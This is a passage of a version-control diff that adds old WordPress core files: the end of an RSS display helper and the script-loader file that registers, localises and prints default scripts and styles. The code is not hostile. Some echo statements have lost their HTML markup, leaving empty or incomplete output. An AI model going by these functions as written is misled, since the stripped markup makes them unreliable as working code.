    • ', + esc_url( $item['link'] ), + esc_attr( strip_tags( $item['description'] ) ), + htmlentities( $item['title'] ) + ); + } + + echo '
    '; + } else { + _e( 'An error has occurred, which probably means the feed is down. Try again later.' ); + } +} +endif; + +if ( !function_exists('get_rss') ) : +/** + * Display RSS items in HTML list items. + * + * You have to specify which HTML list you want, either ordered or unordered + * before using the function. You also have to specify how many items you wish + * to display. You can't display all of them like you can with wp_rss() + * function. + * + * @since unknown + * @package External + * @subpackage MagpieRSS + * + * @param string $url URL of feed to display. Will not auto sense feed URL. + * @param int $num_items Optional. Number of items to display, default is all. + * @return bool False on failure. + */ +function get_rss ($url, $num_items = 5) { // Like get posts, but for RSS + $rss = fetch_rss($url); + if ( $rss ) { + $rss->items = array_slice($rss->items, 0, $num_items); + foreach ( (array) $rss->items as $item ) { + echo "
  • \n"; + echo ""; + echo htmlentities($item['title']); + echo "
    \n"; + echo "
  • \n"; + } + } else { + return false; + } +} +endif; + +?> diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-includes/script-loader.php --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-includes/script-loader.php Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,740 @@ +add_data( 'script-handle', 'group', 1 ); queues the script for the footer + * + * @since 2.6.0 + * + * @param object $scripts WP_Scripts object. + */ +function wp_default_scripts( &$scripts ) { + + if ( !$guessurl = site_url() ) + $guessurl = wp_guess_url(); + + $scripts->base_url = $guessurl; + $scripts->content_url = defined('WP_CONTENT_URL')? WP_CONTENT_URL : ''; + $scripts->default_version = get_bloginfo( 'version' ); + $scripts->default_dirs = array('/wp-admin/js/', '/wp-includes/js/'); + + $suffix = defined('SCRIPT_DEBUG') && SCRIPT_DEBUG ? '.dev' : ''; + + $scripts->add( 'utils', "/wp-admin/js/utils$suffix.js", false, '20090102' ); + + $scripts->add( 'common', "/wp-admin/js/common$suffix.js", array('jquery', 'hoverIntent', 'utils'), '20091212' ); + $scripts->add_data( 'common', 'group', 1 ); + $scripts->localize( 'common', 'commonL10n', array( + 'warnDelete' => __("You are about to permanently delete the selected items.\n 'Cancel' to stop, 'OK' to delete."), + 'l10n_print_after' => 'try{convertEntities(commonL10n);}catch(e){};' + ) ); + + $scripts->add( 'sack', "/wp-includes/js/tw-sack$suffix.js", false, '1.6.1' ); + $scripts->add_data( 'sack', 'group', 1 ); + + $scripts->add( 'quicktags', "/wp-includes/js/quicktags$suffix.js", false, '20090307' ); + $scripts->localize( 'quicktags', 'quicktagsL10n', array( + 'quickLinks' => __('(Quick Links)'), + 'wordLookup' => __('Enter a word to look up:'), + 'dictionaryLookup' => esc_attr(__('Dictionary lookup')), + 'lookup' => esc_attr(__('lookup')), + 'closeAllOpenTags' => esc_attr(__('Close all open tags')), + 'closeTags' => esc_attr(__('close tags')), + 'enterURL' => __('Enter the URL'), + 'enterImageURL' => __('Enter the URL of the image'), + 'enterImageDescription' => __('Enter a description of the image'), + 'l10n_print_after' => 'try{convertEntities(quicktagsL10n);}catch(e){};' + ) ); + + $scripts->add( 'colorpicker', "/wp-includes/js/colorpicker$suffix.js", array('prototype'), '3517m' ); + + $scripts->add( 'editor', "/wp-admin/js/editor$suffix.js", false, '20091124' ); + + $scripts->add( 'prototype', '/wp-includes/js/prototype.js', false, '1.6'); + + $scripts->add( 'wp-ajax-response', "/wp-includes/js/wp-ajax-response$suffix.js", array('jquery'), '20091119' ); + $scripts->add_data( 'wp-ajax-response', 'group', 1 ); + $scripts->localize( 'wp-ajax-response', 'wpAjax', array( + 'noPerm' => __('You do not have permission to do that.'), + 'broken' => __('An unidentified error has occurred.'), + 'l10n_print_after' => 'try{convertEntities(wpAjax);}catch(e){};' + ) ); + + $scripts->add( 'autosave', "/wp-includes/js/autosave$suffix.js", array('schedule', 'wp-ajax-response'), '20091012' ); + $scripts->add_data( 'autosave', 'group', 1 ); + + $scripts->add( 'wp-lists', "/wp-includes/js/wp-lists$suffix.js", array('wp-ajax-response'), '20091128' ); + $scripts->add_data( 'wp-lists', 'group', 1 ); + + $scripts->add( 'scriptaculous-root', '/wp-includes/js/scriptaculous/wp-scriptaculous.js', array('prototype'), '1.8.0'); + $scripts->add( 'scriptaculous-builder', '/wp-includes/js/scriptaculous/builder.js', array('scriptaculous-root'), '1.8.0'); + $scripts->add( 'scriptaculous-dragdrop', '/wp-includes/js/scriptaculous/dragdrop.js', array('scriptaculous-builder', 'scriptaculous-effects'), '1.8.0'); + $scripts->add( 'scriptaculous-effects', '/wp-includes/js/scriptaculous/effects.js', array('scriptaculous-root'), '1.8.0'); + $scripts->add( 'scriptaculous-slider', '/wp-includes/js/scriptaculous/slider.js', array('scriptaculous-effects'), '1.8.0'); + $scripts->add( 'scriptaculous-sound', '/wp-includes/js/scriptaculous/sound.js', array( 'scriptaculous-root' ), '1.8.0' ); + $scripts->add( 'scriptaculous-controls', '/wp-includes/js/scriptaculous/controls.js', array('scriptaculous-root'), '1.8.0'); + $scripts->add( 'scriptaculous', '', array('scriptaculous-dragdrop', 'scriptaculous-slider', 'scriptaculous-controls'), '1.8.0'); + + // not used in core, replaced by Jcrop.js + $scripts->add( 'cropper', '/wp-includes/js/crop/cropper.js', array('scriptaculous-dragdrop'), '20070118'); + + $scripts->add( 'jquery', '/wp-includes/js/jquery/jquery.js', false, '1.3.2'); + + $scripts->add( 'jquery-ui-core', '/wp-includes/js/jquery/ui.core.js', array('jquery'), '1.7.1' ); + $scripts->add_data( 'jquery-ui-core', 'group', 1 ); + + $scripts->add( 'jquery-ui-tabs', '/wp-includes/js/jquery/ui.tabs.js', array('jquery-ui-core'), '1.7.1' ); + $scripts->add_data( 'jquery-ui-tabs', 'group', 1 ); + + $scripts->add( 'jquery-ui-sortable', '/wp-includes/js/jquery/ui.sortable.js', array('jquery-ui-core'), '1.7.1' ); + $scripts->add_data( 'jquery-ui-sortable', 'group', 1 ); + + $scripts->add( 'jquery-ui-draggable', '/wp-includes/js/jquery/ui.draggable.js', array('jquery-ui-core'), '1.7.1' ); + $scripts->add_data( 'jquery-ui-draggable', 'group', 1 ); + + $scripts->add( 'jquery-ui-droppable', '/wp-includes/js/jquery/ui.droppable.js', array('jquery-ui-core'), '1.7.1' ); + $scripts->add_data( 'jquery-ui-droppable', 'group', 1 ); + + $scripts->add( 'jquery-ui-selectable', '/wp-includes/js/jquery/ui.selectable.js', array('jquery-ui-core'), '1.7.1' ); + $scripts->add_data( 'jquery-ui-selectable', 'group', 1 ); + + $scripts->add( 'jquery-ui-resizable', '/wp-includes/js/jquery/ui.resizable.js', array('jquery-ui-core'), '1.7.1' ); + $scripts->add_data( 'jquery-ui-resizable', 'group', 1 ); + + $scripts->add( 'jquery-ui-dialog', '/wp-includes/js/jquery/ui.dialog.js', array('jquery-ui-resizable', 'jquery-ui-draggable'), '1.7.1' ); + $scripts->add_data( 'jquery-ui-dialog', 'group', 1 ); + + // deprecated, not used in core, most functionality is included in jQuery 1.3 + $scripts->add( 'jquery-form', "/wp-includes/js/jquery/jquery.form$suffix.js", array('jquery'), '2.02m'); + $scripts->add_data( 'jquery-form', 'group', 1 ); + + $scripts->add( 'jquery-color', "/wp-includes/js/jquery/jquery.color$suffix.js", array('jquery'), '2.0-4561m'); + $scripts->add_data( 'jquery-color', 'group', 1 ); + + // deprecated, not used in core + $scripts->add( 'interface', '/wp-includes/js/jquery/interface.js', array('jquery'), '1.2' ); + + $scripts->add( 'suggest', "/wp-includes/js/jquery/suggest$suffix.js", array('jquery'), '1.1-20090125'); + $scripts->add_data( 'suggest', 'group', 1 ); + + $scripts->add( 'schedule', '/wp-includes/js/jquery/jquery.schedule.js', array('jquery'), '20m'); + $scripts->add_data( 'schedule', 'group', 1 ); + + $scripts->add( 'jquery-hotkeys', "/wp-includes/js/jquery/jquery.hotkeys$suffix.js", array('jquery'), '0.0.2m' ); + $scripts->add_data( 'jquery-hotkeys', 'group', 1 ); + + $scripts->add( 'jquery-table-hotkeys', "/wp-includes/js/jquery/jquery.table-hotkeys$suffix.js", array('jquery', 'jquery-hotkeys'), '20090102' ); + $scripts->add_data( 'jquery-table-hotkeys', 'group', 1 ); + + $scripts->add( 'thickbox', "/wp-includes/js/thickbox/thickbox.js", array('jquery'), '3.1-20091124'); + $scripts->add_data( 'thickbox', 'group', 1 ); + $scripts->localize( 'thickbox', 'thickboxL10n', array( + 'next' => __('Next >'), + 'prev' => __('< Prev'), + 'image' => __('Image'), + 'of' => __('of'), + 'close' => __('Close'), + 'l10n_print_after' => 'try{convertEntities(thickboxL10n);}catch(e){};' + ) ); + + + $scripts->add( 'jcrop', "/wp-includes/js/jcrop/jquery.Jcrop$suffix.js", array('jquery'), '0.9.8'); + + $scripts->add( 'swfobject', "/wp-includes/js/swfobject.js", false, '2.1'); + + $scripts->add( 'swfupload', '/wp-includes/js/swfupload/swfupload.js', false, '2201'); + $scripts->add( 'swfupload-swfobject', '/wp-includes/js/swfupload/plugins/swfupload.swfobject.js', array('swfupload', 'swfobject'), '2201'); + $scripts->add( 'swfupload-queue', '/wp-includes/js/swfupload/plugins/swfupload.queue.js', array('swfupload'), '2201'); + $scripts->add( 'swfupload-speed', '/wp-includes/js/swfupload/plugins/swfupload.speed.js', array('swfupload'), '2201'); + + if ( defined('SCRIPT_DEBUG') && SCRIPT_DEBUG ) { + // queue all SWFUpload scripts that are used by default + $scripts->add( 'swfupload-all', false, array('swfupload', 'swfupload-swfobject', 'swfupload-queue'), '2201'); + } else { + $scripts->add( 'swfupload-all', '/wp-includes/js/swfupload/swfupload-all.js', array(), '2201'); + } + + $scripts->add( 'swfupload-handlers', "/wp-includes/js/swfupload/handlers$suffix.js", array('swfupload-all', 'jquery'), '2201-20091208'); + $max_upload_size = ( (int) ( $max_up = @ini_get('upload_max_filesize') ) < (int) ( $max_post = @ini_get('post_max_size') ) ) ? $max_up : $max_post; + if ( empty($max_upload_size) ) + $max_upload_size = __('not configured'); + // these error messages came from the sample swfupload js, they might need changing. + $scripts->localize( 'swfupload-handlers', 'swfuploadL10n', array( + 'queue_limit_exceeded' => __('You have attempted to queue too many files.'), + 'file_exceeds_size_limit' => sprintf( __('This file is too big. The maximum upload size for your server is %s.'), $max_upload_size ), + 'zero_byte_file' => __('This file is empty. Please try another.'), + 'invalid_filetype' => __('This file type is not allowed. Please try another.'), + 'default_error' => __('An error occurred in the upload. Please try again later.'), + 'missing_upload_url' => __('There was a configuration error. Please contact the server administrator.'), + 'upload_limit_exceeded' => __('You may only upload 1 file.'), + 'http_error' => __('HTTP error.'), + 'upload_failed' => __('Upload failed.'), + 'io_error' => __('IO error.'), + 'security_error' => __('Security error.'), + 'file_cancelled' => __('File cancelled.'), + 'upload_stopped' => __('Upload stopped.'), + 'dismiss' => __('Dismiss'), + 'crunching' => __('Crunching…'), + 'deleted' => __('moved to the trash.'), + 'l10n_print_after' => 'try{convertEntities(swfuploadL10n);}catch(e){};' + ) ); + + $scripts->add( 'comment-reply', "/wp-includes/js/comment-reply$suffix.js", false, '20090102'); + + $scripts->add( 'json2', "/wp-includes/js/json2$suffix.js", false, '20090817'); + + $scripts->add( 'imgareaselect', "/wp-includes/js/imgareaselect/jquery.imgareaselect$suffix.js", array('jquery'), '0.9.1' ); + $scripts->add_data( 'imgareaselect', 'group', 1 ); + + if ( is_admin() ) { + $scripts->add( 'ajaxcat', "/wp-admin/js/cat$suffix.js", array( 'wp-lists' ), '20090102' ); + $scripts->add_data( 'ajaxcat', 'group', 1 ); + $scripts->localize( 'ajaxcat', 'catL10n', array( + 'add' => esc_attr(__('Add')), + 'how' => __('Separate multiple categories with commas.'), + 'l10n_print_after' => 'try{convertEntities(catL10n);}catch(e){};' + ) ); + + $scripts->add( 'admin-categories', "/wp-admin/js/categories$suffix.js", array('wp-lists'), '20091201' ); + $scripts->add_data( 'admin-categories', 'group', 1 ); + + $scripts->add( 'admin-tags', "/wp-admin/js/tags$suffix.js", array('jquery'), '20090623' ); + $scripts->add_data( 'admin-tags', 'group', 1 ); + $scripts->localize( 'admin-tags', 'tagsl10n', array( + 'noPerm' => __('You do not have permission to do that.'), + 'broken' => __('An unidentified error has occurred.'), + 'l10n_print_after' => 'try{convertEntities(tagsl10n);}catch(e){};' + )); + + $scripts->add( 'admin-custom-fields', "/wp-admin/js/custom-fields$suffix.js", array('wp-lists'), '20090106' ); + $scripts->add_data( 'admin-custom-fields', 'group', 1 ); + + $scripts->add( 'password-strength-meter', "/wp-admin/js/password-strength-meter$suffix.js", array('jquery'), '20090102' ); + $scripts->add_data( 'password-strength-meter', 'group', 1 ); + $scripts->localize( 'password-strength-meter', 'pwsL10n', array( + 'empty' => __('Strength indicator'), + 'short' => __('Very weak'), + 'bad' => __('Weak'), + /* translators: password strength */ + 'good' => _x('Medium', 'password strength'), + 'strong' => __('Strong'), + 'l10n_print_after' => 'try{convertEntities(pwsL10n);}catch(e){};' + ) ); + + $scripts->add( 'user-profile', "/wp-admin/js/user-profile$suffix.js", array('jquery'), '20090514' ); + $scripts->add_data( 'user-profile', 'group', 1 ); + + $scripts->add( 'admin-comments', "/wp-admin/js/edit-comments$suffix.js", array('wp-lists', 'jquery-ui-resizable', 'quicktags'), '20091129' ); + $scripts->add_data( 'admin-comments', 'group', 1 ); + $scripts->localize( 'admin-comments', 'adminCommentsL10n', array( + 'hotkeys_highlight_first' => isset($_GET['hotkeys_highlight_first']), + 'hotkeys_highlight_last' => isset($_GET['hotkeys_highlight_last']) + ) ); + + $scripts->add( 'xfn', "/wp-admin/js/xfn$suffix.js", false, '3517m' ); + + $scripts->add( 'postbox', "/wp-admin/js/postbox$suffix.js", array('jquery-ui-sortable'), '20091012' ); + $scripts->add_data( 'postbox', 'group', 1 ); + + $scripts->add( 'post', "/wp-admin/js/post$suffix.js", array('suggest', 'wp-lists', 'postbox'), '20091208' ); + $scripts->add_data( 'post', 'group', 1 ); + $scripts->localize( 'post', 'postL10n', array( + 'tagsUsed' => __('Tags used on this post:'), + 'add' => esc_attr(__('Add')), + 'addTag' => esc_attr(__('Add new tag')), + 'separate' => __('Separate tags with commas'), + 'ok' => __('OK'), + 'cancel' => __('Cancel'), + 'edit' => __('Edit'), + 'publishOn' => __('Publish on:'), + 'publishOnFuture' => __('Schedule for:'), + 'publishOnPast' => __('Published on:'), + 'showcomm' => __('Show more comments'), + 'endcomm' => __('No more comments found.'), + 'publish' => __('Publish'), + 'schedule' => __('Schedule'), + 'updatePost' => __('Update Post'), + 'updatePage' => __('Update Page'), + 'savePending' => __('Save as Pending'), + 'saveDraft' => __('Save Draft'), + 'private' => __('Private'), + 'public' => __('Public'), + 'publicSticky' => __('Public, Sticky'), + 'password' => __('Password Protected'), + 'privatelyPublished' => __('Privately Published'), + 'published' => __('Published'), + 'l10n_print_after' => 'try{convertEntities(postL10n);}catch(e){};' + ) ); + + $scripts->add( 'link', "/wp-admin/js/link$suffix.js", array('wp-lists', 'postbox'), '20090506' ); + $scripts->add_data( 'link', 'group', 1 ); + + $scripts->add( 'comment', "/wp-admin/js/comment$suffix.js", array('jquery'), '20091202' ); + $scripts->add_data( 'comment', 'group', 1 ); + $scripts->localize( 'comment', 'commentL10n', array( + 'cancel' => __('Cancel'), + 'edit' => __('Edit'), + 'submittedOn' => __('Submitted on:'), + 'l10n_print_after' => 'try{convertEntities(commentL10n);}catch(e){};' + ) ); + + $scripts->add( 'admin-gallery', "/wp-admin/js/gallery$suffix.js", array( 'jquery-ui-sortable' ), '20090516' ); + + $scripts->add( 'media-upload', "/wp-admin/js/media-upload$suffix.js", array( 'thickbox' ), '20091023' ); + $scripts->add_data( 'media-upload', 'group', 1 ); + + $scripts->add( 'admin-widgets', "/wp-admin/js/widgets$suffix.js", array( 'jquery-ui-sortable', 'jquery-ui-draggable', 'jquery-ui-droppable' ), '20090824' ); + $scripts->add_data( 'admin-widgets', 'group', 1 ); + + $scripts->add( 'word-count', "/wp-admin/js/word-count$suffix.js", array( 'jquery' ), '20090422' ); + $scripts->add_data( 'word-count', 'group', 1 ); + $scripts->localize( 'word-count', 'wordCountL10n', array( + 'count' => __('Word count: %d'), + 'l10n_print_after' => 'try{convertEntities(wordCountL10n);}catch(e){};' + )); + + $scripts->add( 'wp-gears', "/wp-admin/js/wp-gears$suffix.js", false, '20090717' ); + $scripts->localize( 'wp-gears', 'wpGearsL10n', array( + 'updateCompleted' => __('Update completed.'), + 'error' => __('Error:'), + 'l10n_print_after' => 'try{convertEntities(wpGearsL10n);}catch(e){};' + )); + + $scripts->add( 'theme-preview', "/wp-admin/js/theme-preview$suffix.js", array( 'thickbox', 'jquery' ), '20090319' ); + $scripts->add_data( 'theme-preview', 'group', 1 ); + + $scripts->add( 'inline-edit-post', "/wp-admin/js/inline-edit-post$suffix.js", array( 'jquery', 'suggest' ), '20091202' ); + $scripts->add_data( 'inline-edit-post', 'group', 1 ); + $scripts->localize( 'inline-edit-post', 'inlineEditL10n', array( + 'error' => __('Error while saving the changes.'), + 'ntdeltitle' => __('Remove From Bulk Edit'), + 'notitle' => __('(no title)'), + 'l10n_print_after' => 'try{convertEntities(inlineEditL10n);}catch(e){};' + ) ); + + $scripts->add( 'inline-edit-tax', "/wp-admin/js/inline-edit-tax$suffix.js", array( 'jquery' ), '20090623' ); + $scripts->add_data( 'inline-edit-tax', 'group', 1 ); + $scripts->localize( 'inline-edit-tax', 'inlineEditL10n', array( + 'error' => __('Error while saving the changes.'), + 'l10n_print_after' => 'try{convertEntities(inlineEditL10n);}catch(e){};' + ) ); + + $scripts->add( 'plugin-install', "/wp-admin/js/plugin-install$suffix.js", array( 'jquery' ), '20090520' ); + $scripts->add_data( 'plugin-install', 'group', 1 ); + $scripts->localize( 'plugin-install', 'plugininstallL10n', array( + 'plugin_information' => __('Plugin Information:'), + 'l10n_print_after' => 'try{convertEntities(plugininstallL10n);}catch(e){};' + ) ); + + $scripts->add( 'farbtastic', '/wp-admin/js/farbtastic.js', array('jquery'), '1.2' ); + + $scripts->add( 'dashboard', "/wp-admin/js/dashboard$suffix.js", array( 'jquery', 'admin-comments', 'postbox' ), '20090618' ); + $scripts->add_data( 'dashboard', 'group', 1 ); + + $scripts->add( 'hoverIntent', "/wp-includes/js/hoverIntent$suffix.js", array('jquery'), '20090102' ); + $scripts->add_data( 'hoverIntent', 'group', 1 ); + + $scripts->add( 'media', "/wp-admin/js/media$suffix.js", array( 'jquery-ui-draggable' ), '20090415' ); + $scripts->add_data( 'media', 'group', 1 ); + + $scripts->add( 'codepress', '/wp-includes/js/codepress/codepress.js', false, '0.9.6' ); + $scripts->add_data( 'codepress', 'group', 1 ); + + $scripts->add( 'image-edit', "/wp-admin/js/image-edit$suffix.js", array('jquery', 'json2', 'imgareaselect'), '20091111' ); + $scripts->add_data( 'image-edit', 'group', 1 ); + + $scripts->add( 'set-post-thumbnail', "/wp-admin/js/set-post-thumbnail$suffix.js", array( 'jquery' ), '20091210b' ); + $scripts->add_data( 'set-post-thumbnail', 'group', 1 ); + $scripts->localize( 'set-post-thumbnail', 'setPostThumbnailL10n', array( + 'setThumbnail' => __( 'Use as thumbnail' ), + 'saving' => __( 'Saving...' ), + 'error' => __( 'Could not set that as the thumbnail image. Try a different attachment.' ), + 'done' => __( 'Done' ) + ) ); + + } +} + +/** + * Assign default styles to $styles object. + * + * Nothing is returned, because the $styles parameter is passed by reference. + * Meaning that whatever object is passed will be updated without having to + * reassign the variable that was passed back to the same value. This saves + * memory. + * + * Adding default styles is not the only task, it also assigns the base_url + * property, the default version, and text direction for the object. + * + * @since 2.6.0 + * + * @param object $styles + */ +function wp_default_styles( &$styles ) { + // This checks to see if site_url() returns something and if it does not + // then it assigns $guess_url to wp_guess_url(). Strange format, but it works. + if ( ! $guessurl = site_url() ) + $guessurl = wp_guess_url(); + + $styles->base_url = $guessurl; + $styles->content_url = defined('WP_CONTENT_URL')? WP_CONTENT_URL : ''; + $styles->default_version = get_bloginfo( 'version' ); + $styles->text_direction = 'rtl' == get_bloginfo( 'text_direction' ) ? 'rtl' : 'ltr'; + $styles->default_dirs = array('/wp-admin/'); + + $suffix = defined('STYLE_DEBUG') && STYLE_DEBUG ? '.dev' : ''; + + $rtl_styles = array( 'global', 'colors', 'dashboard', 'ie', 'install', 'login', 'media', 'theme-editor', 'upload', 'widgets', 'press-this', 'plugin-install', 'farbtastic' ); + + // all colors stylesheets need to have the same query strings (cache manifest compat) + $colors_version = '20091217'; + + $styles->add( 'wp-admin', "/wp-admin/wp-admin$suffix.css", array(), '20091221' ); + $styles->add_data( 'wp-admin', 'rtl', "/wp-admin/rtl$suffix.css" ); + + $styles->add( 'ie', '/wp-admin/css/ie.css', array(), '20091217' ); + $styles->add_data( 'ie', 'conditional', 'lte IE 7' ); + + // Register "meta" stylesheet for admin colors. All colors-* style sheets should have the same version string. + $styles->add( 'colors', true, array(), $colors_version ); + + // do not refer to these directly, the right one is queued by the above "meta" colors handle + $styles->add( 'colors-fresh', "/wp-admin/css/colors-fresh$suffix.css", array(), $colors_version); + $styles->add_data( 'colors-fresh', 'rtl', true ); + $styles->add( 'colors-classic', "/wp-admin/css/colors-classic$suffix.css", array(), $colors_version); + $styles->add_data( 'colors-classic', 'rtl', true ); + + $styles->add( 'global', "/wp-admin/css/global$suffix.css", array(), '20091228' ); + $styles->add( 'media', "/wp-admin/css/media$suffix.css", array(), '20091029' ); + $styles->add( 'widgets', "/wp-admin/css/widgets$suffix.css", array(), '20091118' ); + $styles->add( 'dashboard', "/wp-admin/css/dashboard$suffix.css", array(), '20091211' ); + $styles->add( 'install', "/wp-admin/css/install$suffix.css", array(), '20090514' ); + $styles->add( 'theme-editor', "/wp-admin/css/theme-editor$suffix.css", array(), '20090625' ); + $styles->add( 'press-this', "/wp-admin/css/press-this$suffix.css", array(), '20091022' ); + $styles->add( 'thickbox', '/wp-includes/js/thickbox/thickbox.css', array(), '20090514' ); + $styles->add( 'login', "/wp-admin/css/login$suffix.css", array(), '20091010' ); + $styles->add( 'plugin-install', "/wp-admin/css/plugin-install$suffix.css", array(), '20090514' ); + $styles->add( 'theme-install', "/wp-admin/css/theme-install$suffix.css", array(), '20090610' ); + $styles->add( 'farbtastic', '/wp-admin/css/farbtastic.css', array(), '1.2' ); + $styles->add( 'jcrop', '/wp-includes/js/jcrop/jquery.Jcrop.css', array(), '0.9.8' ); + $styles->add( 'imgareaselect', '/wp-includes/js/imgareaselect/imgareaselect.css', array(), '0.9.1' ); + + foreach ( $rtl_styles as $rtl_style ) + $styles->add_data( $rtl_style, 'rtl', true ); +} + +/** + * Reorder JavaScript scripts array to place prototype before jQuery. + * + * @since 2.3.1 + * + * @param array $js_array JavaScript scripst array + * @return array Reordered array, if needed. + */ +function wp_prototype_before_jquery( $js_array ) { + if ( false === $jquery = array_search( 'jquery', $js_array, true ) ) + return $js_array; + + if ( false === $prototype = array_search( 'prototype', $js_array, true ) ) + return $js_array; + + if ( $prototype < $jquery ) + return $js_array; + + unset($js_array[$prototype]); + + array_splice( $js_array, $jquery, 0, 'prototype' ); + + return $js_array; +} + +/** + * Load localized script just in time for MCE. + * + * These localizations require information that may not be loaded even by init. + * + * @since 2.5.0 + */ +function wp_just_in_time_script_localization() { + + wp_localize_script( 'autosave', 'autosaveL10n', array( + 'autosaveInterval' => AUTOSAVE_INTERVAL, + 'previewPageText' => __('Preview this Page'), + 'previewPostText' => __('Preview this Post'), + 'requestFile' => admin_url('admin-ajax.php'), + 'savingText' => __('Saving Draft…'), + 'saveAlert' => __('The changes you made will be lost if you navigate away from this page.'), + 'l10n_print_after' => 'try{convertEntities(autosaveL10n);}catch(e){};' + ) ); +} + +/** + * Administration Panel CSS for changing the styles. + * + * If installing the 'wp-admin/' directory will be replaced with './'. + * + * The $_wp_admin_css_colors global manages the Administration Panels CSS + * stylesheet that is loaded. The option that is set is 'admin_color' and is the + * color and key for the array. The value for the color key is an object with + * a 'url' parameter that has the URL path to the CSS file. + * + * The query from $src parameter will be appended to the URL that is given from + * the $_wp_admin_css_colors array value URL. + * + * @since 2.6.0 + * @uses $_wp_admin_css_colors + * + * @param string $src Source URL. + * @param string $handle Either 'colors' or 'colors-rtl'. + * @return string URL path to CSS stylesheet for Administration Panels. + */ +function wp_style_loader_src( $src, $handle ) { + if ( defined('WP_INSTALLING') ) + return preg_replace( '#^wp-admin/#', './', $src ); + + if ( 'colors' == $handle || 'colors-rtl' == $handle ) { + global $_wp_admin_css_colors; + $color = get_user_option('admin_color'); + + if ( empty($color) || !isset($_wp_admin_css_colors[$color]) ) + $color = 'fresh'; + + $color = $_wp_admin_css_colors[$color]; + $parsed = parse_url( $src ); + $url = $color->url; + + if ( defined('STYLE_DEBUG') && STYLE_DEBUG ) + $url = preg_replace('/.css$|.css(?=\?)/', '.dev.css', $url); + + if ( isset($parsed['query']) && $parsed['query'] ) { + wp_parse_str( $parsed['query'], $qv ); + $url = add_query_arg( $qv, $url ); + } + + return $url; + } + + return $src; +} + +/** + * Prints the script queue in the HTML head on admin pages. + * + * Postpones the scripts that were queued for the footer. + * print_footer_scripts() is called in the footer to print these scripts. + * + * @since 2.8 + * @see wp_print_scripts() + */ +function print_head_scripts() { + global $wp_scripts, $concatenate_scripts; + + if ( ! did_action('wp_print_scripts') ) + do_action('wp_print_scripts'); + + if ( !is_a($wp_scripts, 'WP_Scripts') ) + $wp_scripts = new WP_Scripts(); + + script_concat_settings(); + $wp_scripts->do_concat = $concatenate_scripts; + $wp_scripts->do_head_items(); + + if ( apply_filters('print_head_scripts', true) ) + _print_scripts(); + + $wp_scripts->reset(); + return $wp_scripts->done; +} + +/** + * Prints the scripts that were queued for the footer on admin pages. + * + * @since 2.8 + */ +function print_footer_scripts() { + global $wp_scripts, $concatenate_scripts; + + if ( ! did_action('wp_print_footer_scripts') ) + do_action('wp_print_footer_scripts'); + + if ( !is_a($wp_scripts, 'WP_Scripts') ) + return array(); // No need to run if not instantiated. + + script_concat_settings(); + $wp_scripts->do_concat = $concatenate_scripts; + $wp_scripts->do_footer_items(); + + if ( apply_filters('print_footer_scripts', true) ) + _print_scripts(); + + $wp_scripts->reset(); + return $wp_scripts->done; +} + +function _print_scripts() { + global $wp_scripts, $compress_scripts; + + $zip = $compress_scripts ? 1 : 0; + if ( $zip && defined('ENFORCE_GZIP') && ENFORCE_GZIP ) + $zip = 'gzip'; + + if ( !empty($wp_scripts->concat) ) { + + if ( !empty($wp_scripts->print_code) ) { + echo "\n"; + } + + $ver = md5("$wp_scripts->concat_version"); + $src = $wp_scripts->base_url . "/wp-admin/load-scripts.php?c={$zip}&load=" . trim($wp_scripts->concat, ', ') . "&ver=$ver"; + echo "\n"; + } + + if ( !empty($wp_scripts->print_html) ) + echo $wp_scripts->print_html; +} + +/** + * Prints the script queue in the HTML head on the front end. + * + * Postpones the scripts that were queued for the footer. + * wp_print_footer_scripts() is called in the footer to print these scripts. + * + * @since 2.8 + */ +function wp_print_head_scripts() { + if ( ! did_action('wp_print_scripts') ) + do_action('wp_print_scripts'); + + global $wp_scripts; + + if ( !is_a($wp_scripts, 'WP_Scripts') ) + return array(); // no need to run if nothing is queued + + return print_head_scripts(); +} + +/** + * Prints the scripts that were queued for the footer on the front end. + * + * @since 2.8 + */ +function wp_print_footer_scripts() { + return print_footer_scripts(); +} + +/** + * Wrapper for do_action('wp_enqueue_scripts') + * + * Allows plugins to queue scripts for the front end using wp_enqueue_script(). + * Runs first in wp_head() where all is_home(), is_page(), etc. functions are available. + * + * @since 2.8 + */ +function wp_enqueue_scripts() { + do_action('wp_enqueue_scripts'); +} + +function print_admin_styles() { + global $wp_styles, $concatenate_scripts, $compress_css; + + if ( !is_a($wp_styles, 'WP_Styles') ) + $wp_styles = new WP_Styles(); + + script_concat_settings(); + $wp_styles->do_concat = $concatenate_scripts; + $zip = $compress_css ? 1 : 0; + if ( $zip && defined('ENFORCE_GZIP') && ENFORCE_GZIP ) + $zip = 'gzip'; + + $wp_styles->do_items(false); + + if ( apply_filters('print_admin_styles', true) ) { + if ( !empty($wp_styles->concat) ) { + $dir = $wp_styles->text_direction; + $ver = md5("$wp_styles->concat_version{$dir}"); + $href = $wp_styles->base_url . "/wp-admin/load-styles.php?c={$zip}&dir={$dir}&load=" . trim($wp_styles->concat, ', ') . "&ver=$ver"; + echo "\n"; + } + + if ( !empty($wp_styles->print_html) ) + echo $wp_styles->print_html; + } + + $wp_styles->do_concat = false; + $wp_styles->concat = $wp_styles->concat_version = $wp_styles->print_html = ''; + return $wp_styles->done; +} + +function script_concat_settings() { + global $concatenate_scripts, $compress_scripts, $compress_css; + + $compressed_output = ( ini_get('zlib.output_compression') || 'ob_gzhandler' == ini_get('output_handler') ); + + if ( ! isset($concatenate_scripts) ) { + $concatenate_scripts = defined('CONCATENATE_SCRIPTS') ? CONCATENATE_SCRIPTS : true; + if ( ! is_admin() || ( defined('SCRIPT_DEBUG') && SCRIPT_DEBUG ) ) + $concatenate_scripts = false; + } + + if ( ! isset($compress_scripts) ) { + $compress_scripts = defined('COMPRESS_SCRIPTS') ? COMPRESS_SCRIPTS : true; + if ( $compress_scripts && ( ! get_site_option('can_compress_scripts') || $compressed_output ) ) + $compress_scripts = false; + } + + if ( ! isset($compress_css) ) { + $compress_css = defined('COMPRESS_CSS') ? COMPRESS_CSS : true; + if ( $compress_css && ( ! get_site_option('can_compress_scripts') || $compressed_output ) ) + $compress_css = false; + } +} + +add_action( 'wp_default_scripts', 'wp_default_scripts' ); +add_filter( 'wp_print_scripts', 'wp_just_in_time_script_localization' ); +add_filter( 'print_scripts_array', 'wp_prototype_before_jquery' ); + +add_action( 'wp_default_styles', 'wp_default_styles' ); +add_filter( 'style_loader_src', 'wp_style_loader_src', 10, 2 ); diff -r 0d9a58d2c515 -r 0d28b7c10758 